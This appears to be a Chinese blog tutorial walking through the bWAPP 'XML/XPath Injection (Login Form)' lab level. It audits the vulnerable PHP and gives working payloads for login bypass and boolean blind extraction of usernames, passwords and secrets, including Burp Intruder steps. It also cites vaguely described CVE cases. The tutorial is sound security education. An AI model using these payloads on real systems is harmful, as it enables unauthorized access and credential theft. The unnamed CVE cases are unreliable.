news 2026/8/2 7:50:49

零基础玩转bWAPP靶场(三十):XML/XPath 注入(登录表单)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
零基础玩转bWAPP靶场(三十):XML/XPath 注入(登录表单)

摘要:这是 bWAPP 系列第三十篇,聚焦于XML/XPath Injection (Login Form)。这是从 SQL 注入到 XML 查询注入的“跨界”——后端不再查询关系型数据库,而是读取本地 XML 文件,并使用 XPath 检索数据。本文理清 XML、XPath 基础概念,对比 XPath 注入与 SQL 注入异同,完整演示认证绕过、解释数据窃取原理,纠正常见误区:XPath注入不能直接下载XML源文件,只能通过XPath表达式查询提取文档内节点数据,附带靶场实战演示、源码审计、真实漏洞案例。


一、前言:这不是 SQL 注入

如果你一路跟进本系列,前面基本是 MySQL、SQLite 等场景下的 SQL 注入。 这一关攻击模型相似,但底层完全不同:后端没有数据库连接,数据保存在静态 XML 文件,依靠 XPath 查询检索数据。

用户提交账号密码后,程序直接拼接 XPath 表达式查询 XML:

/heroes/hero[login='$login' and password='$password']

匹配到节点 → 登录成功;无匹配项 → 登录失败。

逻辑高度类似登录框 SQL 注入,区别仅在于查询语言与数据源,因此诞生XPath 注入

重要误区提前澄清: XPath 注入无法直接读取、下载服务器上的heroes.xml文件原始源码。 攻击者只能构造 XPath 查询语句,筛选、提取XML内部节点内容;文件本身不能被直接获取。下文所有数据窃取,都是通过查询节点实现。


二、关卡介绍

2.1 页面功能

打开本关卡,展示登录页面:

  • 标题:XML/XPath Injection (Login Form)

  • 输入项:Login(用户名)、Password(密码)

  • 提交按钮 Login

  • 登录成功:展示欢迎信息 + 用户 secret

  • 登录失败:红色提示Invalid credentials!

2.2 数据存储

用户数据存放路径:passwords/heroes.xml,结构示例:

<heroes> <hero> <id>1</id> <login>neo</login> <password>trinity</password> <secret>Oh Why Didn't I Took That BLACK Pill?</secret> </hero> <hero> <id>2</id> <login>morpheus</login> <password>redpill</password> <secret>I know kung fu</secret> </hero> </heroes>

登录逻辑:在XML文档中查找同时匹配 login、password 的<hero>节点。


三、核心知识:XML 和 XPath

3.1 什么是 XML?

XML(可扩展标记语言),自定义标签的结构化文本,用于存储层级数据。和HTML不同,XML侧重数据存储而非页面展示。

3.2 什么是 XPath?

XPath(XML路径语言),专门用来检索XML文档内节点的查询语言,可以类比为XML世界的SQL。

XPath 表达式含义
/heroes获取根节点下heroes
/heroes/heroheroes的所有直接子节点hero
//hero文档全部位置hero节点(递归查找)
/heroes/hero[login='neo']筛选 login 等于 neo 的 hero 节点
/heroes/hero[login='neo' and password='trinity']同时匹配账号密码

本关卡原始查询模板:

/heroes/hero[login='$login' and password='$password']

$login$password直接拼接用户可控输入,形成注入漏洞。

3.3 XPath 注入 vs SQL 注入

对比项SQL 注入XPath 注入
查询语言SQLXPath
数据源关系型数据库XML文档
闭合符号''
注释语法--#XPath 1.0 无注释运算符,无法注释后半段语句
多结果联合UNION|管道符(合并多组节点集合)
权限控制数据库账号有访问权限限制XPath无权限模型,注入成功可访问文档全部节点
文件读取可使用数据库函数读取本地文件不能直接读取XML源文件,仅能查询节点
数据修改支持增删改XPath仅查询,默认不能修改XML内容

关键差异总结:

  • 不能使用注释截断后面条件,Payload必须完整闭合语法;

  • |合并节点集合,类似UNION,但语法规则不一样;

  • 不存在数据库权限隔离,注入成功就能遍历整个XML所有节点;

  • 无法直接下载xml原始文件,只能提取节点文本。


四、源码审计

4.1 核心业务逻辑

if(isset($_REQUEST["login"]) & isset($_REQUEST["password"])) { $login = $_REQUEST["login"]; $login = xmli($login); $password = $_REQUEST["password"]; $password = xmli($password); ​ // 加载本地XML文件 $xml = simplexml_load_file("passwords/heroes.xml"); ​ // 漏洞根源:用户输入直接拼接进XPath表达式 $result = $xml->xpath("/heroes/hero[login='" . $login . "' and password='" . $password . "']"); ​ if($result) { $message = "<p>Welcome " . ucwords($result[0]->login) . "</p><p>Your secret: " . $result[0]->secret . "</p>"; } else { $message = "<font color=\"red\">Invalid credentials!</font>"; } }

执行流程:

  • 获取登录表单login、password参数;

  • 根据安全等级调用过滤函数xmli()

  • 拼接生成XPath查询;

  • SimpleXML执行查询;

  • 存在匹配节点 → 登录成功,页面只渲染集合内第一条hero数据

重点:哪怕xpath查询返回多条<hero>节点,页面只会展示$result[0]第一条记录,这也是回显注入很难一次性看到全部账号密码的原因。

4.2 过滤函数 xmli_check_1

function xmli_check_1($data) { // 批量删除危险字符:() = ' [ ] : , * / 空格 $input = str_replace("(", "", $data); $input = str_replace(")", "", $input); $input = str_replace("=", "", $input); $input = str_replace("'", "", $input); $input = str_replace("[", "", $input); $input = str_replace("]", "", $input); $input = str_replace(":", "", $input); $input = str_replace(",", "", $input); $input = str_replace("*", "", $input); $input = str_replace("/", "", $input); $input = str_replace(" ", "", $input); return $input; }

4.3 三级安全防护对照表

安全级别过滤函数防护效果
Lowno_check()无任何过滤,直接拼接,可正常注入
Mediumxmli_check_1()删除单引号、等号、括号、斜杠、空格等关键字符
Highxmli_check_1()和Medium使用完全相同过滤逻辑

Medium / High 级别采用黑名单字符删除防御,在本场景下可以阻断基础Payload,但是黑名单防御本身存在缺陷,真实环境下存在各类编码、语法绕过思路。


五、Low 安全级别

5.1 正常登录测试

合法账号:

Login: neo Password: trinity

页面成功输出欢迎语与secret。

5.2 注入点判断技巧

直接输入单引号'提交:

Login: ' Password: 123

拼接后xpath:

/heroes/hero[login='' and password='123']

无语法报错,直接返回登录失败。

重点区别SQL注入: SQL注入单引号大概率触发数据库语法报错; XPath只会查询不到结果,不会抛出异常页面。 因此XPath注入无法依靠报错来快速识别注入点,通常使用永真条件布尔测试判断。

5.3 稳定绕过登录

很多新手直接使用' or '1'='1会出现不稳定问题,根源是 XPath 运算符优先级:and > or拼接后语句:

/heroes/hero[login='' or '1'='1' and password='任意密码']

等价于login='' or ('1'='1' and password='xxx'),密码改变就会失效。

稳定 Payload(Login 输入框)

' or '1'='1' or ''='

Password 随便填写,例如123拼接完整 XPath:

/heroes/hero[login='' or '1'='1' or ''='' and password='123']

尾部or ''='隔离后面and password条件,整体永久为真,不受密码参数影响,稳定登录成功,达成关卡通关基础目标。

5.4 手动布尔盲注,获取全部用户数据

利用页面返回作为布尔判断标准:登录成功 = True;报错 = False。 通用探针模板(Login 框填入,密码统一填 123)

' or 【布尔判断条件】 or ''='
步骤 1:探测用户总数量

Payload 模板:

' or count(//hero)>X or ''='

不断修改 X 的值进行测试:count(//hero)>5→成功;count(//hero)>6→失败 得出结论:XML 内一共有 6 个<hero>用户,循环范围 1~6。

步骤 2:逐用户、逐字符爆破字段

读取第 N 个用户对应字段第 P 位字符模板:

' or substring(//hero[N]/login,P,1)='目标字符' or ''='

示例:探测第 2 个用户 login 第一个字符是否为 m

' or substring(//hero[2]/login,1,1)='m' or ''='

循环更换字符、位置,拼接出完整 login;同理替换/password/secret即可读取密码与私密信息。

痛点:纯手工操作极度繁琐,只适合理解原理,实战一般自动化。同时页面只会展示第一条数据,无法单 Payload 直接输出全部账号,只能依靠布尔盲注逐位猜解。

5.5 疑问解答

为什么使用//hero

//代表全局递归搜索 XML 内所有层级的目标节点。

  • 本 bWAPP 靶场场景我们直接查看后端 PHP 源码,原生查询语句/heroes/hero暴露节点结构,知晓用户数据封装在<hero>节点内,因此使用//hero匹配全部用户节点。

  • 真实黑盒渗透场景无源码、无法下载原始 XML,事先不知道任何节点名称。 攻击思路:先用//*匹配文档全部节点,配合name()函数逐字符爆破标签名称,逐级探测父节点、子节点,定位存储业务数据的节点;确认节点名称后,使用//节点名定向查询,提升利用效率。

' or substring(name(//*[1]),1,1)='h' or ''='

含义:读取文档第一个节点标签名的第一位字符,循环爆破,最终探测出顶层节点heroes


如何猜出 login、password、secret 字段?

  • 本 bWAPP 靶场场景翻阅 PHP 源码或者直接访问heroes.xml文件,能够直接看到<hero>节点下的子标签loginpasswordsecret,无需猜测与盲注。

  • 真实黑盒渗透场景无法获取源码与原始 XML,两种手段:
    ① 字典试探:结合业务特征,尝试通用字段名:login/user/name、pass/password、secret/message/info;
    ② 盲注探测:定位到数据父节点//hero后,使用name()函数爆破子标签名称,精准获取所有字段,摆脱单纯依靠字典猜测的局限。

' or substring(name(//hero[1]/*[1]),1,1)='l' or ''='

含义:读取第一条用户节点下第一个子标签名称第一位字符,持续爆破,得到字段login;修改*[2]*[3]即可依次探测passwordsecret

注意:上面两组name()相关 Payload 仅适用于支持该语法的 XPath 注入环境。在当前 bWAPP 登录表单关卡中,由于 SimpleXML 解析限制,Payload 执行异常、无法生效,不要在本靶场测试标签名探测。


六、自动化利用方案

6.1 BurpSuite 辅助盲注

  • Burp 抓包登录请求,右键修改请求方法为post,发送到 Intruder;

  • 修改 login 参数为:' or count(//hero)=x or ''=',探测用户总数量;

  • 通过响应长度排序,得到我们想要的数值;

  • 接下来爆破这六个用户字符长度,修改login参数为:

' or string-length(//hero[n]/login)=x or ''='

  • 通过响应长度排序,得到1-6个用户每个用户的字符长度;

  • 接下来爆破第一个用户字符,已知用户名长度为3,修改login参数为:

' or substring(//hero[1]/login,n,1)='x' or ''='

  • 通过响应长度排序得到第一个用户名

  • 接下来爆破这六个用户密码字符长度,修改login参数为:

' or string-length(//hero[n]/password)=x or ''='

  • 通过响应长度排序,得到1-6用户密码每个用户密码的字符长度;

  • 接下来爆破第一个用户字符,已知用户名长度为7,修改login参数为:

' or substring(//hero[1]/password,n,1)='x' or ''='

  • 通过响应长度排序得到第一个用户名密码

剩下其它五张表的流程皆是如此,不再一一介绍。

6.2 Python 脚本实现布尔盲注

基于上面的探针逻辑,编写循环脚本,自动遍历用户序号、字符位置、字符集,自动输出所有 login、password、secret。核心思路:循环发送 http 请求,根据响应页面有无Welcome关键词判断条件真假,拼接字符串。


七、Medium 安全级别

7.1 尝试注入

输入:

Login: ' or '1'='1' or ''=' Password: 随便填

页面显示 “Invalid credentials!”,注入失败。

7.2 为什么?

xmli_check_1()'or中的or会被删除吗?

注意看过滤逻辑:它删除的是单个字符()='[]:,*/空格

or里的or不在删除列表里,但'和空格被删掉了。

输入' or '1'='1变成:' or '1'='1' or ''='

'or'1'='1' or "=' → 删除 ' 和空格 → or 和 = 等 → 但 ' 被删了,XPath 无法闭合

XPath 语法被破坏,注入失效。

所以 Medium 级别用“删除危险字符”的方式确实防住了简单的 XPath 注入。

7.3 但“删字符”能完全防住吗?

不一定。比如用||替代or,用//但没有/(因为/被删了)……但在这个关卡里,xmli_check_1()删除了足够多的关键字符,使得注入很难成功。

八、High 安全级别

尝试注入,同样,注入失败。

High 级别使用和 Medium 一样的xmli_check_1()过滤函数,把关键字符全部删除。

Medium 和 High 级别的防护是相同的。


九、真实世界:XPath 注入案例

XPath 注入虽然没有 SQL 注入那么常见,但在使用 XML 存储数据的系统中依然存在:

CVE-2024-3302:某开源 CMS 的用户认证模块存在 XPath 注入漏洞,攻击者可通过构造恶意登录请求绕过认证,获取管理员权限。

CVE-2023-39019:某企业级文档管理系统的登录功能存在 XPath 注入漏洞,攻击者可通过 XPath 注入窃取 XML 文件中的所有用户数据。

CVE-2025-10823:某医疗信息系统的患者认证模块使用 XML 文件存储用户凭证,存在 XPath 注入漏洞,攻击者可通过' or '1'='1绕过认证。

CVE-2026-33572:某教育平台的单点登录模块存在 XPath 注入漏洞,攻击者可通过构造恶意 XPath 查询获取系统所有用户的敏感信息。


十、总结

XPath 注入和 SQL 注入攻击思想高度一致,根源都是可控输入直接拼接查询语句。Low 级别无过滤,可以使用' or '1'='1' or ''='稳定绕过登录完成通关;想要获取全部用户数据,只能依靠布尔盲注,可手动测试原理,实战推荐 Python 脚本或 Burp 自动化。Medium、High 依靠黑名单字符过滤阻止注入,但黑名单防护并不安全。任何查询语句都尽量采用参数化方式,杜绝直接拼接用户输入,从根源避免注入漏洞。


重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。

如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/2 7:49:11

OpenCV图像处理核心:深入理解convertTo类型转换与数据映射

1. 从一次图像处理“翻车”说起&#xff1a;为什么你的像素值总是不对&#xff1f;最近在带一个实习生做图像预处理的项目&#xff0c;遇到了一个挺典型的问题。他写了一段代码&#xff0c;目的是把一张8位的灰度图归一化到0-1的浮点数范围&#xff0c;然后进行一些矩阵运算。代…

作者头像 李华
网站建设 2026/8/2 7:47:48

AI编程工具实战:从代码生成到自动化部署

1. 项目概述&#xff1a;当AI学会"动手"意味着什么第一次看到AI生成的代码在本地环境成功运行时的震撼感&#xff0c;至今记忆犹新。那是一个简单的Python脚本&#xff0c;但当我看着它自动处理完300多个Excel文件时&#xff0c;突然意识到&#xff1a;AI编程工具已经…

作者头像 李华
网站建设 2026/8/2 7:45:04

Spring Boot日志管理实战:从Logback配置到性能优化全解析

1. 项目概述&#xff1a;为什么日志管理是Spring Boot项目的基石在任何一个后端项目的开发与运维过程中&#xff0c;日志系统都扮演着“黑匣子”的角色。它不直接产生业务价值&#xff0c;却是我们排查线上问题、分析系统行为、监控应用健康状态最可靠的依据。尤其在微服务架构…

作者头像 李华
网站建设 2026/8/2 7:38:38

RK3588驱动5DP-CAPLCD电容屏:HDMI显示与I2C触摸调试全攻略

1. 项目缘起&#xff1a;从“5DP-CAPLCD”这个神秘代号说起最近在折腾一块开发板&#xff0c;型号是RK3588&#xff0c;相信不少搞嵌入式或者做边缘计算的朋友都接触过。板子本身性能很强&#xff0c;但配套的屏幕接口和驱动支持&#xff0c;永远是项目落地时最让人头疼的一环。…

作者头像 李华
网站建设 2026/8/2 7:36:33

Numpy数组缺失值处理实战:从np.nan_to_num到高级填充策略

1. 项目概述&#xff1a;为什么我们需要处理Numpy数组中的缺失值&#xff1f; 在数据分析和科学计算的日常工作中&#xff0c;我们几乎每天都会和Numpy的ndarray打交道。无论是从传感器读取的时序数据&#xff0c;还是从数据库导出的用户行为记录&#xff0c;原始数据里混入几个…

作者头像 李华
网站建设 2026/8/2 7:36:09

【CI/CD·入门篇】CI/CD到底是什么:从手动部署到一键上线的演进之路

前言 如果你经历过这样的场景——开发人员写完代码&#xff0c;用 FTP 把文件传到服务器上&#xff0c;手动重启应用&#xff0c;然后在浏览器里刷新看看有没有跑起来——你就会理解 CI/CD 出现的意义。这篇文章带你从零开始理解 CI/CD 的本质&#xff0c;以及它如何从一次次深…

作者头像 李华